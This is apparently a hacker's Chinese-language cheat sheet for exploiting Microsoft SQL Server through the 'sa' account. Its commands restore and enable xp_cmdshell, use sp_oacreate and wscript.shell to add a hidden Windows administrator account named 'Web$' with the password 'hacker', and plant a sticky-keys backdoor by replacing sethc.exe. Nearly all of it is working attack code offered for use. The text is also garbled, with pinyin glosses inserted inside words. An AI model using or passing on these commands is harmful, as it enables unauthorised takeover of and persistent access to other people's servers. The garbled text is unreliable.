一.更改sa口令方法:
用sql綜合利用工具連接后,執(zhí)行命令:
exec sp_password NULL,'新密碼','sa'
(提示:慎用!)
二.簡單修補(bǔ)sa弱口令.
方法1:查詢分離器連接后執(zhí)行:
if exists (select * from
dbo.sysobjects where id = object_id(N'[dbo].[xp_cmdshell]') and
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)
exec sp_dropextendedproc N'[dbo].[xp_cmdshell]'
GO
然后按F5鍵命令執(zhí)行完畢
方法2:查詢分離器連接后
第一步執(zhí)行:use master
第二步執(zhí)行:sp_dropextendedproc 'xp_cmdshell'
然后按F5鍵命令執(zhí)行完畢
三.常見情況恢復(fù)執(zhí)行xp_cmdshell.
1 未能找到存儲過程'master..xpcmdshell'.
恢復(fù)方法:查詢分離器連接后,
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call
*/
@dllname varchar(255)/* name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) -- sp_addextendedproc
GO
第一步執(zhí)行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
第二步執(zhí)行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5鍵命令執(zhí)行完畢
2 無法裝載 DLL xpsql70.dll 或該DLL所引用的某一 DLL。原因126(找不到指定模塊。)
恢復(fù)方法:查詢分離器連接后,
第一步執(zhí)行:sp_dropextendedproc "xp_cmdshell"
第二步執(zhí)行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
然后按F5鍵命令執(zhí)行完畢
3 無法在庫 xpweb70.dll 中找到函數(shù) xp_cmdshell。原因: 127(找不到指定的程序。)
恢復(fù)方法:查詢分離器連接后,
第一步執(zhí)行:exec sp_dropextendedproc 'xp_cmdshell'
第二步執(zhí)行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
然后按F5鍵命令執(zhí)行完畢
四.終極方法.
如果以上方法均不可恢復(fù),請嘗試用下面的辦法直接添加帳戶:
查詢分離器連接后,
2000servser系統(tǒng):
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user Web hacker /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators Web /add'
xp或2003server系統(tǒng): 126錯誤!命令
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user Web$ hacker /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators Web$ /add'
5 .C:\>DIR C:\
SQL Server 阻止了對組件 'xp_cmdshell' 的 過程'sys.xp_cmdshell' 的訪問,因為此組件已作為此服務(wù)器安全配置的一部分而被關(guān)閉。系統(tǒng)管理員可以通過使用 sp_configure 啟用 'xp_cmdshell'。有關(guān)啟用 'xp_cmdshell' 的詳細(xì)信息,請參閱 SQL Server 聯(lián)機(jī)叢書中的 "外圍應(yīng)用配置器"。
分析器執(zhí)行的語句:
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
5下shift后門命令
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe
=================================================================